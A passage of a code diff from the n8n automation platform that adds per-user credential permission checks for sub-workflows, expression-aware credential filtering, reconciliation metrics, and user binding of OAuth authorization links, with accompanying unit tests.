[victimCredentialId],
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
it('should fall back to checking all credentials if node type cannot be resolved', async () => {
|
it('should fall back to checking all credentials if node type cannot be resolved', async () => {
|
||||||
nodeTypes.getByNameAndVersion.mockImplementation(() => {
|
nodeTypes.getByNameAndVersion.mockImplementation(() => {
|
||||||
throw new Error('Unknown node type');
|
throw new Error('Unknown node type');
|
||||||
|
|
@ -322,4 +405,56 @@ describe('CredentialsPermissionChecker', () => {
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
describe('checkForUser', () => {
|
||||||
|
const userId = 'user-123';
|
||||||
|
|
||||||
|
it('should not throw when the workflow has no credentials', async () => {
|
||||||
|
await expect(permissionChecker.checkForUser(userId, [])).resolves.not.toThrow();
|
||||||
|
|
||||||
|
expect(userRepository.findOne).not.toHaveBeenCalled();
|
||||||
|
expect(credentialsFinderService.findCredentialsForUser).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should throw when the triggering user cannot be resolved', async () => {
|
||||||
|
userRepository.findOne.mockResolvedValueOnce(null);
|
||||||
|
|
||||||
|
await expect(permissionChecker.checkForUser(userId, [node])).rejects.toThrow(
|
||||||
|
'Node "Test Node" uses a credential you do not have access to',
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should throw when the user does not have access to the credential', async () => {
|
||||||
|
userRepository.findOne.mockResolvedValueOnce(
|
||||||
|
mock<User>({ id: userId, role: GLOBAL_MEMBER_ROLE }),
|
||||||
|
);
|
||||||
|
credentialsFinderService.findCredentialsForUser.mockResolvedValueOnce([]);
|
||||||
|
|
||||||
|
await expect(permissionChecker.checkForUser(userId, [node])).rejects.toThrow(
|
||||||
|
'Node "Test Node" uses a credential you do not have access to',
|
||||||
|
);
|
||||||
|
expect(credentialsFinderService.findCredentialsForUser).toHaveBeenCalledWith(
|
||||||
|
expect.objectContaining({ id: userId }),
|
||||||
|
['credential:read'],
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should not throw when the user has access to the credential', async () => {
|
||||||
|
userRepository.findOne.mockResolvedValueOnce(
|
||||||
|
mock<User>({ id: userId, role: GLOBAL_MEMBER_ROLE }),
|
||||||
|
);
|
||||||
|
credentialsFinderService.findCredentialsForUser.mockResolvedValueOnce([
|
||||||
|
mock<CredentialsEntity>({ id: credentialId }),
|
||||||
|
]);
|
||||||
|
|
||||||
|
await expect(permissionChecker.checkForUser(userId, [node])).resolves.not.toThrow();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should skip the check for a user with instance-wide credential listing', async () => {
|
||||||
|
userRepository.findOne.mockResolvedValueOnce(mock<User>({ role: GLOBAL_OWNER_ROLE }));
|
||||||
|
|
||||||
|
await expect(permissionChecker.checkForUser(userId, [node])).resolves.not.toThrow();
|
||||||
|
expect(credentialsFinderService.findCredentialsForUser).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
|
||||||
|
|
@ -1,10 +1,11 @@
|
||||||
import type { Project } from '@n8n/db';
|
import type { Project } from '@n8n/db';
|
||||||
import { CredentialsRepository, SharedCredentialsRepository } from '@n8n/db';
|
import { CredentialsRepository, SharedCredentialsRepository, UserRepository } from '@n8n/db';
|
||||||
import { Service } from '@n8n/di';
|
import { Service } from '@n8n/di';
|
||||||
import { hasGlobalScope } from '@n8n/permissions';
|
import { hasGlobalScope } from '@n8n/permissions';
|
||||||
import type { INode } from 'n8n-workflow';
|
import type { INode } from 'n8n-workflow';
|
||||||
import { displayParameter, UserError } from 'n8n-workflow';
|
import { displayParameter, isExpression, UserError } from 'n8n-workflow';
|
||||||
|
|
||||||
|
import { CredentialsFinderService } from '@/credentials/credentials-finder.service';
|
||||||
import { NodeTypes } from '@/node-types';
|
import { NodeTypes } from '@/node-types';
|
||||||
import { OwnershipService } from '@/services/ownership.service';
|
import { OwnershipService } from '@/services/ownership.service';
|
||||||
import { ProjectService } from '@/services/project.service.ee';
|
import { ProjectService } from '@/services/project.service.ee';
|
||||||
|
|
@ -17,6 +18,15 @@ class InvalidCredentialError extends UserError {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
class InaccessibleCredentialForUserError extends UserError {
|
||||||
|
override description =
|
||||||
|
'This node uses a credential you do not have access to. Ask its owner to share it with you.';
|
||||||
|
|
||||||
|
constructor(readonly node: INode) {
|
||||||
|
super(`Node "${node.name}" uses a credential you do not have access to`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
class InaccessibleCredentialError extends UserError {
|
class InaccessibleCredentialError extends UserError {
|
||||||
override description =
|
override description =
|
||||||
this.project.type === 'personal'
|
this.project.type === 'personal'
|
||||||
|
|
@ -39,8 +49,48 @@ export class CredentialsPermissionChecker {
|
||||||
private readonly ownershipService: OwnershipService,
|
private readonly ownershipService: OwnershipService,
|
||||||
private readonly projectService: ProjectService,
|
private readonly projectService: ProjectService,
|
||||||
private readonly nodeTypes: NodeTypes,
|
private readonly nodeTypes: NodeTypes,
|
||||||
|
private readonly userRepository: UserRepository,
|
||||||
|
private readonly credentialsFinderService: CredentialsFinderService,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Check that a specific user can use every credential referenced by the given
|
||||||
|
* nodes. Used for sub-workflows whose source is not a stored database workflow
|
||||||
|
* (inline/parameter, file, url): these carry no project of their own, so their
|
||||||
|
* credentials must be evaluated against the user triggering the run rather than
|
||||||
|
* against the parent workflow's project.
|
||||||
|
*/
|
||||||
|
async checkForUser(userId: string, nodes: INode[]) {
|
||||||
|
const credIdsToNodes = this.mapCredIdsToNodes(nodes);
|
||||||
|
const workflowCredIds = Object.keys(credIdsToNodes);
|
||||||
|
|
||||||
|
if (workflowCredIds.length === 0) return;
|
||||||
|
|
||||||
|
// Load the role relation (scopes are eager) so hasGlobalScope can resolve.
|
||||||
|
const user = await this.userRepository.findOne({
|
||||||
|
where: { id: userId },
|
||||||
|
relations: ['role'],
|
||||||
|
});
|
||||||
|
if (!user) {
|
||||||
|
// Cannot resolve the triggering user - fail closed.
|
||||||
|
throw new InaccessibleCredentialForUserError(credIdsToNodes[workflowCredIds[0]][0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// A user with instance-wide credential listing can use any credential.
|
||||||
|
if (hasGlobalScope(user, 'credential:list')) return;
|
||||||
|
|
||||||
|
const accessibleCredentials = await this.credentialsFinderService.findCredentialsForUser(user, [
|
||||||
|
'credential:read',
|
||||||
|
]);
|
||||||
|
const accessibleSet = new Set(accessibleCredentials.map((cred) => cred.id));
|
||||||
|
|
||||||
|
for (const credentialsId of workflowCredIds) {
|
||||||
|
if (!accessibleSet.has(credentialsId)) {
|
||||||
|
throw new InaccessibleCredentialForUserError(credIdsToNodes[credentialsId][0]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Check if a workflow has the ability to execute based on the projects it's apart of.
|
* Check if a workflow has the ability to execute based on the projects it's apart of.
|
||||||
*/
|
*/
|
||||||
|
|
@ -141,6 +191,10 @@ export class CredentialsPermissionChecker {
|
||||||
// the active credential is specified by the nodeCredentialType parameter
|
// the active credential is specified by the nodeCredentialType parameter
|
||||||
const { nodeCredentialType } = node.parameters;
|
const { nodeCredentialType } = node.parameters;
|
||||||
if (typeof nodeCredentialType === 'string' && nodeCredentialType) {
|
if (typeof nodeCredentialType === 'string' && nodeCredentialType) {
|
||||||
|
// An expression only resolves to its real type at execution time, so the
|
||||||
|
// static filter can't know which credential it activates. Check all
|
||||||
|
// referenced credentials rather than trust the unresolved literal.
|
||||||
|
if (isExpression(nodeCredentialType)) return null;
|
||||||
activeTypes.add(nodeCredentialType);
|
activeTypes.add(nodeCredentialType);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -149,6 +203,7 @@ export class CredentialsPermissionChecker {
|
||||||
// specified by the genericAuthType parameter
|
// specified by the genericAuthType parameter
|
||||||
const { genericAuthType } = node.parameters;
|
const { genericAuthType } = node.parameters;
|
||||||
if (typeof genericAuthType === 'string' && genericAuthType) {
|
if (typeof genericAuthType === 'string' && genericAuthType) {
|
||||||
|
if (isExpression(genericAuthType)) return null;
|
||||||
activeTypes.add(genericAuthType);
|
activeTypes.add(genericAuthType);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -105,6 +105,7 @@ describe('PrometheusWorkflowPublicationMetricsService', () => {
|
||||||
'n8n_workflow_publication_outbox_record_outcomes_total',
|
'n8n_workflow_publication_outbox_record_outcomes_total',
|
||||||
'n8n_workflow_publication_trigger_node_operations_total',
|
'n8n_workflow_publication_trigger_node_operations_total',
|
||||||
'n8n_workflow_publication_outbox_cleanup_deleted_records_total',
|
'n8n_workflow_publication_outbox_cleanup_deleted_records_total',
|
||||||
|
'n8n_workflow_publication_reconciliation_deficient_workflows_total',
|
||||||
]),
|
]),
|
||||||
);
|
);
|
||||||
|
|
||||||
|
|
@ -116,6 +117,7 @@ describe('PrometheusWorkflowPublicationMetricsService', () => {
|
||||||
'n8n_workflow_publication_outbox_record_duration_seconds',
|
'n8n_workflow_publication_outbox_record_duration_seconds',
|
||||||
'n8n_workflow_publication_trigger_operation_duration_seconds',
|
'n8n_workflow_publication_trigger_operation_duration_seconds',
|
||||||
'n8n_workflow_publication_outbox_cleanup_duration_seconds',
|
'n8n_workflow_publication_outbox_cleanup_duration_seconds',
|
||||||
|
'n8n_workflow_publication_reconciliation_duration_seconds',
|
||||||
]),
|
]),
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
|
@ -176,6 +178,17 @@ describe('PrometheusWorkflowPublicationMetricsService', () => {
|
||||||
expect(mockCounterInc).toHaveBeenCalledWith(9);
|
expect(mockCounterInc).toHaveBeenCalledWith(9);
|
||||||
expect(mockHistogramObserve).toHaveBeenCalledWith({ result: 'success' }, 1);
|
expect(mockHistogramObserve).toHaveBeenCalledWith({ result: 'success' }, 1);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('records reconciliation deficient count and duration', () => {
|
||||||
|
eventHandler('workflow-publication-reconciliation')!({
|
||||||
|
result: 'success',
|
||||||
|
deficientCount: 2,
|
||||||
|
durationMs: 500,
|
||||||
|
} as never);
|
||||||
|
|
||||||
|
expect(mockCounterInc).toHaveBeenCalledWith(2);
|
||||||
|
expect(mockHistogramObserve).toHaveBeenCalledWith({ result: 'success' }, 0.5);
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('gauge collection', () => {
|
describe('gauge collection', () => {
|
||||||
|
|
|
||||||
|
|
@ -56,6 +56,7 @@ export class PrometheusWorkflowPublicationMetricsService implements PrometheusMe
|
||||||
this.initRecordOutcomeMetrics();
|
this.initRecordOutcomeMetrics();
|
||||||
this.initTriggerMetrics();
|
this.initTriggerMetrics();
|
||||||
this.initCleanupMetrics();
|
this.initCleanupMetrics();
|
||||||
|
this.initReconciliationMetrics();
|
||||||
}
|
}
|
||||||
|
|
||||||
private initOutboxGauges() {
|
private initOutboxGauges() {
|
||||||
|
|
@ -189,4 +190,28 @@ export class PrometheusWorkflowPublicationMetricsService implements PrometheusMe
|
||||||
},
|
},
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private initReconciliationMetrics() {
|
||||||
|
const prefix = this.config.prefix;
|
||||||
|
|
||||||
|
const deficient = new promClient.Counter({
|
||||||
|
name: `${prefix}workflow_publication_reconciliation_deficient_workflows_total`,
|
||||||
|
help: 'Total number of workflows re-enqueued by trigger reconciliation because their in-memory triggers were missing.',
|
||||||
|
});
|
||||||
|
|
||||||
|
const duration = new promClient.Histogram({
|
||||||
|
name: `${prefix}workflow_publication_reconciliation_duration_seconds`,
|
||||||
|
help: 'Duration in seconds of a trigger reconciliation pass by result.',
|
||||||
|
labelNames: ['result'],
|
||||||
|
buckets: DURATION_BUCKETS_SECONDS,
|
||||||
|
});
|
||||||
|
|
||||||
|
this.eventService.on(
|
||||||
|
'workflow-publication-reconciliation',
|
||||||
|
({ result, deficientCount, durationMs }) => {
|
||||||
|
deficient.inc(deficientCount);
|
||||||
|
duration.observe({ result }, durationMs * Time.milliseconds.toSeconds);
|
||||||
|
},
|
||||||
|
);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -16,8 +16,10 @@ import {
|
||||||
AuthorizeIntentService,
|
AuthorizeIntentService,
|
||||||
CredentialConnectionStatusService,
|
CredentialConnectionStatusService,
|
||||||
DynamicCredentialResolverRegistry,
|
DynamicCredentialResolverRegistry,
|
||||||
|
DynamicCredentialService,
|
||||||
} from '@/modules/dynamic-credentials.ee/services';
|
} from '@/modules/dynamic-credentials.ee/services';
|
||||||
import { OauthService } from '@/oauth/oauth.service';
|
import { OauthService } from '@/oauth/oauth.service';
|
||||||
|
import { UrlService } from '@/services/url.service';
|
||||||
|
|
||||||
import { DynamicCredentialWebService } from '../services/dynamic-credential-web.service';
|
import { DynamicCredentialWebService } from '../services/dynamic-credential-web.service';
|
||||||
|
|
||||||
|
|
@ -36,8 +38,10 @@ describe('DynamicCredentialsController', () => {
|
||||||
const cipher = mockInstance(Cipher);
|
const cipher = mockInstance(Cipher);
|
||||||
const authorizeIntentService = mockInstance(AuthorizeIntentService);
|
const authorizeIntentService = mockInstance(AuthorizeIntentService);
|
||||||
const credentialsFinderService = mockInstance(CredentialsFinderService);
|
const credentialsFinderService = mockInstance(CredentialsFinderService);
|
||||||
|
const dynamicCredentialService = mockInstance(DynamicCredentialService);
|
||||||
|
const urlService = mockInstance(UrlService);
|
||||||
|
const eventService = mockInstance(EventService);
|
||||||
mockInstance(CredentialConnectionStatusService);
|
mockInstance(CredentialConnectionStatusService);
|
||||||
mockInstance(EventService);
|
|
||||||
|
|
||||||
mockInstance(Logger);
|
mockInstance(Logger);
|
||||||
|
|
||||||
|
|
@ -57,6 +61,12 @@ describe('DynamicCredentialsController', () => {
|
||||||
metadata: {},
|
metadata: {},
|
||||||
});
|
});
|
||||||
|
|
||||||
|
// Default: resolver does not map the link to an n8n user (link stays unbound).
|
||||||
|
dynamicCredentialService.resolveOwningUserIdForAuthorization.mockResolvedValue({
|
||||||
|
status: 'unbound',
|
||||||
|
});
|
||||||
|
urlService.getInstanceBaseUrl.mockReturnValue('http://localhost:5678');
|
||||||
|
|
||||||
// Default: caller can access the credential
|
// Default: caller can access the credential
|
||||||
credentialsFinderService.findCredentialForUser.mockResolvedValue(mock<CredentialsEntity>());
|
credentialsFinderService.findCredentialForUser.mockResolvedValue(mock<CredentialsEntity>());
|
||||||
});
|
});
|
||||||
|
|
@ -354,6 +364,62 @@ describe('DynamicCredentialsController', () => {
|
||||||
|
|
||||||
expect(cipher.decryptV2).not.toHaveBeenCalled();
|
expect(cipher.decryptV2).not.toHaveBeenCalled();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('sets the state userId when the resolver binds the link to a user', async () => {
|
||||||
|
const mockCredential = mock<CredentialsEntity>({ id: '1', type: 'googleOAuth2Api' });
|
||||||
|
const req = mock<Request>({
|
||||||
|
params: { id: '1' },
|
||||||
|
query: { resolverId: 'resolver-123' },
|
||||||
|
headers: { authorization: 'Bearer token123' },
|
||||||
|
});
|
||||||
|
const res = mock<Response>();
|
||||||
|
|
||||||
|
enterpriseCredentialsService.getOne.mockResolvedValue(mockCredential);
|
||||||
|
resolverRepository.findOneBy.mockResolvedValue(mockResolverEntity);
|
||||||
|
resolverRegistry.getResolverByTypename.mockReturnValue(mockResolver);
|
||||||
|
dynamicCredentialService.resolveOwningUserIdForAuthorization.mockResolvedValue({
|
||||||
|
status: 'bound',
|
||||||
|
userId: 'user-1',
|
||||||
|
});
|
||||||
|
oauthService.generateAOauth2AuthUri.mockResolvedValueOnce(
|
||||||
|
'https://example.domain/oauth2/auth',
|
||||||
|
);
|
||||||
|
|
||||||
|
await controller.authorizeCredential(req, res);
|
||||||
|
|
||||||
|
expect(oauthService.generateAOauth2AuthUri).toHaveBeenCalledWith(
|
||||||
|
mockCredential,
|
||||||
|
expect.objectContaining({ userId: 'user-1' }),
|
||||||
|
req,
|
||||||
|
res,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('leaves the state userId unset when the link is unbound', async () => {
|
||||||
|
const mockCredential = mock<CredentialsEntity>({ id: '1', type: 'googleOAuth2Api' });
|
||||||
|
const req = mock<Request>({
|
||||||
|
params: { id: '1' },
|
||||||
|
query: { resolverId: 'resolver-123' },
|
||||||
|
headers: { authorization: 'Bearer token123' },
|
||||||
|
});
|
||||||
|
const res = mock<Response>();
|
||||||
|
|
||||||
|
enterpriseCredentialsService.getOne.mockResolvedValue(mockCredential);
|
||||||
|
resolverRepository.findOneBy.mockResolvedValue(mockResolverEntity);
|
||||||
|
resolverRegistry.getResolverByTypename.mockReturnValue(mockResolver);
|
||||||
|
oauthService.generateAOauth2AuthUri.mockResolvedValueOnce(
|
||||||
|
'https://example.domain/oauth2/auth',
|
||||||
|
);
|
||||||
|
|
||||||
|
await controller.authorizeCredential(req, res);
|
||||||
|
|
||||||
|
expect(oauthService.generateAOauth2AuthUri).toHaveBeenCalledWith(
|
||||||
|
mockCredential,
|
||||||
|
expect.objectContaining({ userId: undefined }),
|
||||||
|
req,
|
||||||
|
res,
|
||||||
|
);
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('authorizeCredentialRedirect', () => {
|
describe('authorizeCredentialRedirect', () => {
|
||||||
|
|
@ -475,6 +541,182 @@ describe('DynamicCredentialsController', () => {
|
||||||
expect(oauthService.renderCallbackError).toHaveBeenCalledWith(res, 'discovery failed');
|
expect(oauthService.renderCallbackError).toHaveBeenCalledWith(res, 'discovery failed');
|
||||||
expect(res.redirect).not.toHaveBeenCalled();
|
expect(res.redirect).not.toHaveBeenCalled();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('proceeds when a bound link is opened by the intended user', async () => {
|
||||||
|
const req = mock<AuthenticatedRequest>({
|
||||||
|
params: { id: 'cred-1' },
|
||||||
|
query: { token: 'tok' },
|
||||||
|
user: mock<AuthenticatedRequest['user']>({ id: 'user-1' }),
|
||||||
|
});
|
||||||
|
const res = mock<Response>();
|
||||||
|
const mockCredential = mock<CredentialsEntity>({ id: 'cred-1', type: 'googleOAuth2Api' });
|
||||||
|
|
||||||
|
authorizeIntentService.get.mockResolvedValue({
|
||||||
|
credentialId: 'cred-1',
|
||||||
|
resolverId: 'resolver-123',
|
||||||
|
identity: 'bearer-jwt',
|
||||||
|
userId: 'user-1',
|
||||||
|
metadata: {},
|
||||||
|
});
|
||||||
|
enterpriseCredentialsService.getOne.mockResolvedValue(mockCredential);
|
||||||
|
oauthService.generateAOauth2AuthUri.mockResolvedValue('https://accounts.google.com/auth?x=1');
|
||||||
|
|
||||||
|
await controller.authorizeCredentialRedirect(req, res);
|
||||||
|
|
||||||
|
expect(oauthService.generateAOauth2AuthUri).toHaveBeenCalledWith(
|
||||||
|
mockCredential,
|
||||||
|
expect.objectContaining({ userId: 'user-1' }),
|
||||||
|
req,
|
||||||
|
res,
|
||||||
|
);
|
||||||
|
expect(res.redirect).toHaveBeenCalledWith('https://accounts.google.com/auth?x=1');
|
||||||
|
expect(eventService.emit).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('proceeds through the OAuth1 flow when a bound link is opened by the intended user', async () => {
|
||||||
|
const req = mock<AuthenticatedRequest>({
|
||||||
|
params: { id: 'cred-1' },
|
||||||
|
query: { token: 'tok' },
|
||||||
|
user: mock<AuthenticatedRequest['user']>({ id: 'user-1' }),
|
||||||
|
});
|
||||||
|
const res = mock<Response>();
|
||||||
|
const mockCredential = mock<CredentialsEntity>({ id: 'cred-1', type: 'twitterOAuth1Api' });
|
||||||
|
|
||||||
|
authorizeIntentService.get.mockResolvedValue({
|
||||||
|
credentialId: 'cred-1',
|
||||||
|
resolverId: 'resolver-123',
|
||||||
|
identity: 'bearer-jwt',
|
||||||
|
userId: 'user-1',
|
||||||
|
metadata: {},
|
||||||
|
});
|
||||||
|
enterpriseCredentialsService.getOne.mockResolvedValue(mockCredential);
|
||||||
|
oauthService.generateAOauth1AuthUri.mockResolvedValue(
|
||||||
|
'https://api.twitter.com/oauth/authorize?x=1',
|
||||||
|
);
|
||||||
|
|
||||||
|
await controller.authorizeCredentialRedirect(req, res);
|
||||||
|
|
||||||
|
expect(oauthService.generateAOauth1AuthUri).toHaveBeenCalledWith(
|
||||||
|
mockCredential,
|
||||||
|
expect.objectContaining({ userId: 'user-1' }),
|
||||||
|
req,
|
||||||
|
res,
|
||||||
|
);
|
||||||
|
expect(oauthService.generateAOauth2AuthUri).not.toHaveBeenCalled();
|
||||||
|
expect(res.redirect).toHaveBeenCalledWith('https://api.twitter.com/oauth/authorize?x=1');
|
||||||
|
expect(eventService.emit).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('rejects a bound OAuth1 link opened by a different account before materializing the flow', async () => {
|
||||||
|
const req = mock<AuthenticatedRequest>({
|
||||||
|
params: { id: 'cred-1' },
|
||||||
|
query: { token: 'tok' },
|
||||||
|
user: mock<AuthenticatedRequest['user']>({ id: 'user-2' }),
|
||||||
|
});
|
||||||
|
const res = mock<Response>();
|
||||||
|
|
||||||
|
authorizeIntentService.get.mockResolvedValue({
|
||||||
|
credentialId: 'cred-1',
|
||||||
|
resolverId: 'resolver-123',
|
||||||
|
identity: 'bearer-jwt',
|
||||||
|
userId: 'user-1',
|
||||||
|
metadata: {},
|
||||||
|
});
|
||||||
|
|
||||||
|
await controller.authorizeCredentialRedirect(req, res);
|
||||||
|
|
||||||
|
expect(eventService.emit).toHaveBeenCalledWith('dynamic-credential-authorize-rejected', {
|
||||||
|
reason: 'user-mismatch',
|
||||||
|
credentialId: 'cred-1',
|
||||||
|
});
|
||||||
|
expect(oauthService.generateAOauth1AuthUri).not.toHaveBeenCalled();
|
||||||
|
expect(res.redirect).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('redirects an anonymous clicker of a bound link to sign in', async () => {
|
||||||
|
const req = mock<Request>({
|
||||||
|
params: { id: 'cred-1' },
|
||||||
|
query: { token: 'tok' },
|
||||||
|
originalUrl: '/rest/credentials/cred-1/authorize?token=tok',
|
||||||
|
});
|
||||||
|
const res = mock<Response>();
|
||||||
|
|
||||||
|
authorizeIntentService.get.mockResolvedValue({
|
||||||
|
credentialId: 'cred-1',
|
||||||
|
resolverId: 'resolver-123',
|
||||||
|
identity: 'bearer-jwt',
|
||||||
|
userId: 'user-1',
|
||||||
|
metadata: {},
|
||||||
|
});
|
||||||
|
|
||||||
|
await controller.authorizeCredentialRedirect(req, res);
|
||||||
|
|
||||||
|
expect(eventService.emit).toHaveBeenCalledWith('dynamic-credential-authorize-rejected', {
|
||||||
|
reason: 'unauthenticated',
|
||||||
|
credentialId: 'cred-1',
|
||||||
|
});
|
||||||
|
expect(res.redirect).toHaveBeenCalledWith(
|
||||||
|
`http://localhost:5678/signin?redirect=${encodeURIComponent(
|
||||||
|
'http://localhost:5678/rest/credentials/cred-1/authorize?token=tok',
|
||||||
|
)}`,
|
||||||
|
);
|
||||||
|
expect(oauthService.generateAOauth2AuthUri).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('rejects a bound link opened by a different account', async () => {
|
||||||
|
const req = mock<AuthenticatedRequest>({
|
||||||
|
params: { id: 'cred-1' },
|
||||||
|
query: { token: 'tok' },
|
||||||
|
user: mock<AuthenticatedRequest['user']>({ id: 'user-2' }),
|
||||||
|
});
|
||||||
|
const res = mock<Response>();
|
||||||
|
|
||||||
|
authorizeIntentService.get.mockResolvedValue({
|
||||||
|
credentialId: 'cred-1',
|
||||||
|
resolverId: 'resolver-123',
|
||||||
|
identity: 'bearer-jwt',
|
||||||
|
userId: 'user-1',
|
||||||
|
metadata: {},
|
||||||
|
});
|
||||||
|
|
||||||
|
await controller.authorizeCredentialRedirect(req, res);
|
||||||
|
|
||||||
|
expect(eventService.emit).toHaveBeenCalledWith('dynamic-credential-authorize-rejected', {
|
||||||
|
reason: 'user-mismatch',
|
||||||
|
credentialId: 'cred-1',
|
||||||
|
});
|
||||||
|
expect(oauthService.renderCallbackError).toHaveBeenCalledWith(
|
||||||
|
res,
|
||||||
|
'This authorization link was issued for a different account. Sign in as the intended user and open the link again.',
|
||||||
|
);
|
||||||
|
expect(res.redirect).not.toHaveBeenCalled();
|
||||||
|
expect(oauthService.generateAOauth2AuthUri).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('proceeds unchanged for an unbound intent regardless of clicker', async () => {
|
||||||
|
const req = mock<AuthenticatedRequest>({
|
||||||
|
params: { id: 'cred-1' },
|
||||||
|
query: { token: 'tok' },
|
||||||
|
user: mock<AuthenticatedRequest['user']>({ id: 'some-other-user' }),
|
||||||
|
});
|
||||||
|
const res = mock<Response>();
|
||||||
|
const mockCredential = mock<CredentialsEntity>({ id: 'cred-1', type: 'googleOAuth2Api' });
|
||||||
|
|
||||||
|
// No userId on the intent → link is unbound.
|
||||||
|
authorizeIntentService.get.mockResolvedValue({
|
||||||
|
credentialId: 'cred-1',
|
||||||
|
resolverId: 'resolver-123',
|
||||||
|
identity: 'bearer-jwt',
|
||||||
|
metadata: {},
|
||||||
|
});
|
||||||
|
enterpriseCredentialsService.getOne.mockResolvedValue(mockCredential);
|
||||||
|
oauthService.generateAOauth2AuthUri.mockResolvedValue('https://accounts.google.com/auth?x=1');
|
||||||
|
|
||||||
|
await controller.authorizeCredentialRedirect(req, res);
|
||||||
|
|
||||||
|
expect(res.redirect).toHaveBeenCalledWith('https://accounts.google.com/auth?x=1');
|
||||||
|
expect(eventService.emit).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('revokeCredential', () => {
|
describe('revokeCredential', () => {
|
||||||
|
|
|
||||||
|
|
@ -1,11 +1,11 @@
|
||||||
import { Time } from '@n8n/constants';
|
import { Time } from '@n8n/constants';
|
||||||
import { Delete, Get, Options, Param, Post, RestController } from '@n8n/decorators';
|
|
||||||
import { CredentialsEntity, AuthenticatedRequest, isAuthenticatedRequest, User } from '@n8n/db';
|
import { CredentialsEntity, AuthenticatedRequest, isAuthenticatedRequest, User } from '@n8n/db';
|
||||||
import type { Scope } from '@n8n/permissions';
|
import { Delete, Get, Options, Param, Post, RestController } from '@n8n/decorators';
|
||||||
import { Container } from '@n8n/di';
|
import { Container } from '@n8n/di';
|
||||||
|
import type { Scope } from '@n8n/permissions';
|
||||||
|
import { ensureError } from '@n8n/utils/errors/ensure-error';
|
||||||
import { Request, Response } from 'express';
|
import { Request, Response } from 'express';
|
||||||
import { Cipher } from 'n8n-core';
|
import { Cipher } from 'n8n-core';
|
||||||
import { ensureError } from '@n8n/utils/errors/ensure-error';
|
|
||||||
import { jsonParse } from 'n8n-workflow';
|
import { jsonParse } from 'n8n-workflow';
|
||||||
|
|
||||||
import { CredentialsFinderService } from '@/credentials/credentials-finder.service';
|
import { CredentialsFinderService } from '@/credentials/credentials-finder.service';
|
||||||
|
|
@ -14,6 +14,7 @@ import { BadRequestError } from '@/errors/response-errors/bad-request.error';
|
||||||
import { NotFoundError } from '@/errors/response-errors/not-found.error';
|
import { NotFoundError } from '@/errors/response-errors/not-found.error';
|
||||||
import { EventService } from '@/events/event.service';
|
import { EventService } from '@/events/event.service';
|
||||||
import { CreateCsrfStateData, OauthService } from '@/oauth/oauth.service';
|
import { CreateCsrfStateData, OauthService } from '@/oauth/oauth.service';
|
||||||
|
import { UrlService } from '@/services/url.service';
|
||||||
|
|
||||||
import { DynamicCredentialResolverRepository } from './database/repositories/credential-resolver.repository';
|
import { DynamicCredentialResolverRepository } from './database/repositories/credential-resolver.repository';
|
||||||
import { DynamicCredentialsConfig } from './dynamic-credentials.config';
|
import { DynamicCredentialsConfig } from './dynamic-credentials.config';
|
||||||
|
|
@ -21,6 +22,7 @@ import {
|
||||||
AuthorizeIntentService,
|
AuthorizeIntentService,
|
||||||
CredentialConnectionStatusService,
|
CredentialConnectionStatusService,
|
||||||
DynamicCredentialResolverRegistry,
|
DynamicCredentialResolverRegistry,
|
||||||
|
DynamicCredentialService,
|
||||||
} from './services';
|
} from './services';
|
||||||
import { DynamicCredentialCorsService } from './services/dynamic-credential-cors.service';
|
import { DynamicCredentialCorsService } from './services/dynamic-credential-cors.service';
|
||||||
import { DynamicCredentialWebService } from './services/dynamic-credential-web.service';
|
import { DynamicCredentialWebService } from './services/dynamic-credential-web.service';
|
||||||
|
|
@ -42,6 +44,8 @@ export class DynamicCredentialsController {
|
||||||
private readonly credentialConnectionStatusService: CredentialConnectionStatusService,
|
private readonly credentialConnectionStatusService: CredentialConnectionStatusService,
|
||||||
private readonly eventService: EventService,
|
private readonly eventService: EventService,
|
||||||
private readonly authorizeIntentService: AuthorizeIntentService,
|
private readonly authorizeIntentService: AuthorizeIntentService,
|
||||||
|
private readonly dynamicCredentialService: DynamicCredentialService,
|
||||||
|
private readonly urlService: UrlService,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
private async findCredentialToUse(
|
private async findCredentialToUse(
|
||||||
|
|
@ -173,12 +177,21 @@ export class DynamicCredentialsController {
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Best-effort: bind the callback to the intended n8n user when the resolver
|
||||||
|
// names one, so `decodeCsrfState` rejects a mismatched session. External
|
||||||
|
// machine callers legitimately have no n8n user, so this never fails the POST.
|
||||||
|
